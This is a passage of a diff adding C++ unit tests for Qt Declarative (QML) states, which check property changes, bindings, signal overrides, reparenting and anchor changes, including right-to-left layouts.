+ void urlResolution();
+ void unnamedWhen();
+ void returnToBase();
+ void extendsBug();
+ void editProperties();
+ void QTBUG_14830();
+};
+
+void tst_qdeclarativestates::initTestCase()
+{
+ qmlRegisterType<MyRect>("Qt.test", 1, 0, "MyRectangle");
+}
+
+QByteArray tst_qdeclarativestates::fullDataPath(const QString &path)
+{
+ return QUrl::fromLocalFile(SRCDIR + path).toString().toUtf8();
+}
+
+void tst_qdeclarativestates::basicChanges()
+{
+ QDeclarativeEngine engine;
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicChanges.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicChanges2.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("green");
+ QCOMPARE(rect->color(),QColor("green"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("green");
+ QCOMPARE(rect->color(),QColor("green"));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicChanges3.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+ QCOMPARE(rect->border()->width(),1);
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+ QCOMPARE(rect->border()->width(),1);
+
+ rectPrivate->setState("bordered");
+ QCOMPARE(rect->color(),QColor("red"));
+ QCOMPARE(rect->border()->width(),2);
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+ QCOMPARE(rect->border()->width(),1);
+ //### we should be checking that this is an implicit rather than explicit 1 (which currently fails)
+
+ rectPrivate->setState("bordered");
+ QCOMPARE(rect->color(),QColor("red"));
+ QCOMPARE(rect->border()->width(),2);
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+ QCOMPARE(rect->border()->width(),1);
+
+ }
+
+ {
+ // Test basicChanges4.qml can magically connect to propertyWithNotify's notify
+ // signal using 'onPropertyWithNotifyChanged' even though the signal name is
+ // actually 'oddlyNamedNotifySignal'
+
+ QDeclarativeComponent component(&engine, SRCDIR "/data/basicChanges4.qml");
+ QVERIFY(component.isReady());
+
+ MyRect *rect = qobject_cast<MyRect*>(component.create());
+ QVERIFY(rect != 0);
+
+ QMetaProperty prop = rect->metaObject()->property(rect->metaObject()->indexOfProperty("propertyWithNotify"));
+ QVERIFY(prop.hasNotifySignal());
+ QString notifySignal = QByteArray(prop.notifySignal().signature());
+ QVERIFY(!notifySignal.startsWith("propertyWithNotifyChanged("));
+
+ QCOMPARE(rect->color(), QColor(Qt::red));
+
+ rect->setPropertyWithNotify(100);
+ QCOMPARE(rect->color(), QColor(Qt::blue));
+ }
+}
+
+void tst_qdeclarativestates::attachedPropertyChanges()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent component(&engine, SRCDIR "/data/attachedPropertyChanges.qml");
+ QVERIFY(component.isReady());
+
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item != 0);
+ QCOMPARE(item->width(), 50.0);
+
+ // Ensure attached property has been changed
+ QObject *attObj = qmlAttachedPropertiesObject<MyRect>(item, false);
+ QVERIFY(attObj);
+
+ MyAttached *att = qobject_cast<MyAttached*>(attObj);
+ QVERIFY(att);
+
+ QCOMPARE(att->foo(), 1);
+}
+
+void tst_qdeclarativestates::basicExtension()
+{
+ QDeclarativeEngine engine;
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicExtension.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+ QCOMPARE(rect->border()->width(),1);
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+ QCOMPARE(rect->border()->width(),1);
+
+ rectPrivate->setState("bordered");
+ QCOMPARE(rect->color(),QColor("blue"));
+ QCOMPARE(rect->border()->width(),2);
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+ QCOMPARE(rect->border()->width(),1);
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+ QCOMPARE(rect->border()->width(),1);
+
+ rectPrivate->setState("bordered");
+ QCOMPARE(rect->color(),QColor("blue"));
+ QCOMPARE(rect->border()->width(),2);
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+ QCOMPARE(rect->border()->width(),1);
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/fakeExtension.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("green");
+ QCOMPARE(rect->color(),QColor("green"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("green");
+ QCOMPARE(rect->color(),QColor("green"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("green");
+ QCOMPARE(rect->color(),QColor("green"));
+ }
+}
+
+void tst_qdeclarativestates::basicBinding()
+{
+ QDeclarativeEngine engine;
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicBinding.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+ rect->setProperty("sourceColor", QColor("green"));
+ QCOMPARE(rect->color(),QColor("green"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+ rect->setProperty("sourceColor", QColor("yellow"));
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("yellow"));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicBinding2.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+ rect->setProperty("sourceColor", QColor("green"));
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("green"));
+ rect->setProperty("sourceColor", QColor("yellow"));
+ QCOMPARE(rect->color(),QColor("yellow"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("yellow"));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicBinding3.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+ rect->setProperty("sourceColor", QColor("green"));
+ QCOMPARE(rect->color(),QColor("green"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+ rect->setProperty("sourceColor", QColor("red"));
+ QCOMPARE(rect->color(),QColor("blue"));
+ rect->setProperty("sourceColor2", QColor("yellow"));
+ QCOMPARE(rect->color(),QColor("yellow"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+ rect->setProperty("sourceColor2", QColor("green"));
+ QCOMPARE(rect->color(),QColor("red"));
+ rect->setProperty("sourceColor", QColor("yellow"));
+ QCOMPARE(rect->color(),QColor("yellow"));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicBinding4.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+ rect->setProperty("sourceColor", QColor("yellow"));
+ QCOMPARE(rect->color(),QColor("yellow"));
+
+ rectPrivate->setState("green");
+ QCOMPARE(rect->color(),QColor("green"));
+ rect->setProperty("sourceColor", QColor("purple"));
+ QCOMPARE(rect->color(),QColor("green"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("purple"));
+
+ rectPrivate->setState("green");
+ QCOMPARE(rect->color(),QColor("green"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+ }
+}
+
+void tst_qdeclarativestates::signalOverride()
+{
+ QDeclarativeEngine engine;
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverride.qml");
+ MyRect *rect = qobject_cast<MyRect*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+ rect->doSomething();
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ QDeclarativeItemPrivate::get(rect)->setState("green");
+ rect->doSomething();
+ QCOMPARE(rect->color(),QColor("green"));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverride2.qml");
+ MyRect *rect = qobject_cast<MyRect*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("white"));
+ rect->doSomething();
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("extendedRect"));
+ QDeclarativeItemPrivate::get(innerRect)->setState("green");
+ rect->doSomething();
+ QCOMPARE(rect->color(),QColor("blue"));
+ QCOMPARE(innerRect->color(),QColor("green"));
+ QCOMPARE(innerRect->property("extendedColor").value<QColor>(),QColor("green"));
+ }
+}
+
+void tst_qdeclarativestates::signalOverrideCrash()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverrideCrash.qml");
+ MyRect *rect = qobject_cast<MyRect*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeItemPrivate::get(rect)->setState("overridden");
+ rect->doSomething();
+}
+
+void tst_qdeclarativestates::signalOverrideCrash2()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverrideCrash2.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeItemPrivate::get(rect)->setState("state1");
+ QDeclarativeItemPrivate::get(rect)->setState("state2");
+ QDeclarativeItemPrivate::get(rect)->setState("state1");
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::signalOverrideCrash3()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverrideCrash3.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeItemPrivate::get(rect)->setState("state1");
+ QDeclarativeItemPrivate::get(rect)->setState("");
+ QDeclarativeItemPrivate::get(rect)->setState("state2");
+ QDeclarativeItemPrivate::get(rect)->setState("");
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::parentChange()
+{
+ QDeclarativeEngine engine;
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange1.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ QDeclarativeListReference list(rect, "states");
+ QDeclarativeState *state = qobject_cast<QDeclarativeState*>(list.at(0));
+ QVERIFY(state != 0);
+
+ qmlExecuteDeferred(state);
+ QDeclarativeParentChange *pChange = qobject_cast<QDeclarativeParentChange*>(state->operationAt(0));
+ QVERIFY(pChange != 0);
+ QDeclarativeItem *nParent = qobject_cast<QDeclarativeItem*>(rect->findChild<QDeclarativeItem*>("NewParent"));
+ QVERIFY(nParent != 0);
+
+ QCOMPARE(pChange->parent(), nParent);
+
+ QDeclarativeItemPrivate::get(rect)->setState("reparented");
+ QCOMPARE(innerRect->rotation(), qreal(0));
+ QCOMPARE(innerRect->scale(), qreal(1));
+ QCOMPARE(innerRect->x(), qreal(-133));
+ QCOMPARE(innerRect->y(), qreal(-300));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange2.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ rectPrivate->setState("reparented");
+ QCOMPARE(innerRect->rotation(), qreal(15));
+ QCOMPARE(innerRect->scale(), qreal(.5));
+ QCOMPARE(QString("%1").arg(innerRect->x()), QString("%1").arg(-19.9075));
+ QCOMPARE(QString("%1").arg(innerRect->y()), QString("%1").arg(-8.73433));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange3.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ rectPrivate->setState("reparented");
+ QCOMPARE(innerRect->rotation(), qreal(-37));
+ QCOMPARE(innerRect->scale(), qreal(.25));
+ QCOMPARE(QString("%1").arg(innerRect->x()), QString("%1").arg(-217.305));
+ QCOMPARE(QString("%1").arg(innerRect->y()), QString("%1").arg(-164.413));
+
+ rectPrivate->setState("");
+ QCOMPARE(innerRect->rotation(), qreal(0));
+ QCOMPARE(innerRect->scale(), qreal(1));
+ QCOMPARE(innerRect->x(), qreal(5));
+ //do a non-qFuzzyCompare fuzzy compare
+ QVERIFY(innerRect->y() < qreal(0.00001) && innerRect->y() > qreal(-0.00001));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange6.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ QDeclarativeItemPrivate::get(rect)->setState("reparented");
+ QCOMPARE(innerRect->rotation(), qreal(180));
+ QCOMPARE(innerRect->scale(), qreal(1));
+ QCOMPARE(innerRect->x(), qreal(-105));
+ QCOMPARE(innerRect->y(), qreal(-105));
+ }
+}
+
+void tst_qdeclarativestates::parentChangeErrors()
+{
+ QDeclarativeEngine engine;
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange4.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/parentChange4.qml") + ":25:9: QML ParentChange: Unable to preserve appearance under non-uniform scale");
+ QDeclarativeItemPrivate::get(rect)->setState("reparented");
+ QCOMPARE(innerRect->rotation(), qreal(0));
+ QCOMPARE(innerRect->scale(), qreal(1));
+ QCOMPARE(innerRect->x(), qreal(5));
+ QCOMPARE(innerRect->y(), qreal(5));
+ }
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange5.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/parentChange5.qml") + ":25:9: QML ParentChange: Unable to preserve appearance under complex transform");
+ QDeclarativeItemPrivate::get(rect)->setState("reparented");
+ QCOMPARE(innerRect->rotation(), qreal(0));
+ QCOMPARE(innerRect->scale(), qreal(1));
+ QCOMPARE(innerRect->x(), qreal(5));
+ QCOMPARE(innerRect->y(), qreal(5));
+ }
+}
+
+void tst_qdeclarativestates::anchorChanges()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges1.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ QDeclarativeListReference list(rect, "states");
+ QDeclarativeState *state = qobject_cast<QDeclarativeState*>(list.at(0));
+ QVERIFY(state != 0);
+
+ qmlExecuteDeferred(state);
+ QDeclarativeAnchorChanges *aChanges = qobject_cast<QDeclarativeAnchorChanges*>(state->operationAt(0));
+ QVERIFY(aChanges != 0);
+
+ rectPrivate->setState("right");
+ QCOMPARE(innerRect->x(), qreal(150));
+ QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect));
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().anchorLine, QDeclarativeAnchorLine::Invalid); //### was reset (how do we distinguish from not set at all)
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().item, rectPrivate->right().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().anchorLine, rectPrivate->right().anchorLine);
+
+ rectPrivate->setState("");
+ QCOMPARE(innerRect->x(), qreal(5));
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::anchorChanges2()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges2.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ rectPrivate->setState("right");
+ QCOMPARE(innerRect->x(), qreal(150));
+
+ rectPrivate->setState("");
+ QCOMPARE(innerRect->x(), qreal(5));
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::anchorChanges3()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges3.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ QDeclarativeItem *leftGuideline = qobject_cast<QDeclarativeItem*>(rect->findChild<QDeclarativeItem*>("LeftGuideline"));
+ QVERIFY(leftGuideline != 0);
+
+ QDeclarativeItem *bottomGuideline = qobject_cast<QDeclarativeItem*>(rect->findChild<QDeclarativeItem*>("BottomGuideline"));
+ QVERIFY(bottomGuideline != 0);
+
+ QDeclarativeListReference list(rect, "states");
+ QDeclarativeState *state = qobject_cast<QDeclarativeState*>(list.at(0));
+ QVERIFY(state != 0);
+
+ qmlExecuteDeferred(state);
+ QDeclarativeAnchorChanges *aChanges = qobject_cast<QDeclarativeAnchorChanges*>(state->operationAt(0));
+ QVERIFY(aChanges != 0);
+
+ rectPrivate->setState("reanchored");
+ QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect));
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().item, QDeclarativeItemPrivate::get(leftGuideline)->left().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().anchorLine, QDeclarativeItemPrivate::get(leftGuideline)->left().anchorLine);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().item, rectPrivate->right().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().anchorLine, rectPrivate->right().anchorLine);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->top().item, rectPrivate->top().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->top().anchorLine, rectPrivate->top().anchorLine);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->bottom().item, QDeclarativeItemPrivate::get(bottomGuideline)->bottom().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->bottom().anchorLine, QDeclarativeItemPrivate::get(bottomGuideline)->bottom().anchorLine);
+
+ QCOMPARE(innerRect->x(), qreal(10));
+ QCOMPARE(innerRect->y(), qreal(0));
+ QCOMPARE(innerRect->width(), qreal(190));
+ QCOMPARE(innerRect->height(), qreal(150));
+
+ rectPrivate->setState("");
+ QCOMPARE(innerRect->x(), qreal(0));
+ QCOMPARE(innerRect->y(), qreal(10));
+ QCOMPARE(innerRect->width(), qreal(150));
+ QCOMPARE(innerRect->height(), qreal(190));
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::anchorChanges4()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges4.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ QDeclarativeItem *leftGuideline = qobject_cast<QDeclarativeItem*>(rect->findChild<QDeclarativeItem*>("LeftGuideline"));
+ QVERIFY(leftGuideline != 0);
+
+ QDeclarativeItem *bottomGuideline = qobject_cast<QDeclarativeItem*>(rect->findChild<QDeclarativeItem*>("BottomGuideline"));
+ QVERIFY(bottomGuideline != 0);
+
+ QDeclarativeListReference list(rect, "states");
+ QDeclarativeState *state = qobject_cast<QDeclarativeState*>(list.at(0));
+ QVERIFY(state != 0);
+
+ qmlExecuteDeferred(state);
+ QDeclarativeAnchorChanges *aChanges = qobject_cast<QDeclarativeAnchorChanges*>(state->operationAt(0));
+ QVERIFY(aChanges != 0);
+
+ QDeclarativeItemPrivate::get(rect)->setState("reanchored");
+ QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect));
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->horizontalCenter().item, QDeclarativeItemPrivate::get(bottomGuideline)->horizontalCenter().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->horizontalCenter().anchorLine, QDeclarativeItemPrivate::get(bottomGuideline)->horizontalCenter().anchorLine);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->verticalCenter().item, QDeclarativeItemPrivate::get(leftGuideline)->verticalCenter().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->verticalCenter().anchorLine, QDeclarativeItemPrivate::get(leftGuideline)->verticalCenter().anchorLine);
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::anchorChanges5()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges5.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+
+ QDeclarativeItem *leftGuideline = qobject_cast<QDeclarativeItem*>(rect->findChild<QDeclarativeItem*>("LeftGuideline"));
+ QVERIFY(leftGuideline != 0);
+
+ QDeclarativeItem *bottomGuideline = qobject_cast<QDeclarativeItem*>(rect->findChild<QDeclarativeItem*>("BottomGuideline"));
+ QVERIFY(bottomGuideline != 0);
+
+ QDeclarativeListReference list(rect, "states");
+ QDeclarativeState *state = qobject_cast<QDeclarativeState*>(list.at(0));
+ QVERIFY(state != 0);
+
+ qmlExecuteDeferred(state);
+ QDeclarativeAnchorChanges *aChanges = qobject_cast<QDeclarativeAnchorChanges*>(state->operationAt(0));
+ QVERIFY(aChanges != 0);
+
+ QDeclarativeItemPrivate::get(rect)->setState("reanchored");
+ QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect));
+ //QCOMPARE(aChanges->anchors()->horizontalCenter().item, bottomGuideline->horizontalCenter().item);
+ //QCOMPARE(aChanges->anchors()->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine);
+ //QCOMPARE(aChanges->anchors()->baseline().item, leftGuideline->baseline().item);
+ //QCOMPARE(aChanges->anchors()->baseline().anchorLine, leftGuideline->baseline().anchorLine);
+
+ delete rect;
+}
+
+void mirrorAnchors(QDeclarativeItem *item) {
+ QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item);
+ itemPrivate->setLayoutMirror(true);
+}
+
+qreal offsetRTL(QDeclarativeItem *anchorItem, QDeclarativeItem *item) {
+ return anchorItem->width()+2*anchorItem->x()-item->width();
+}
+
+void tst_qdeclarativestates::anchorChangesRTL()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges1.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+ mirrorAnchors(innerRect);
+
+ QDeclarativeListReference list(rect, "states");
+ QDeclarativeState *state = qobject_cast<QDeclarativeState*>(list.at(0));
+ QVERIFY(state != 0);
+
+ qmlExecuteDeferred(state);
+ QDeclarativeAnchorChanges *aChanges = qobject_cast<QDeclarativeAnchorChanges*>(state->operationAt(0));
+ QVERIFY(aChanges != 0);
+
+ rectPrivate->setState("right");
+ QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) - qreal(150));
+ QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect));
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().anchorLine, QDeclarativeAnchorLine::Invalid); //### was reset (how do we distinguish from not set at all)
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().item, rectPrivate->right().item);
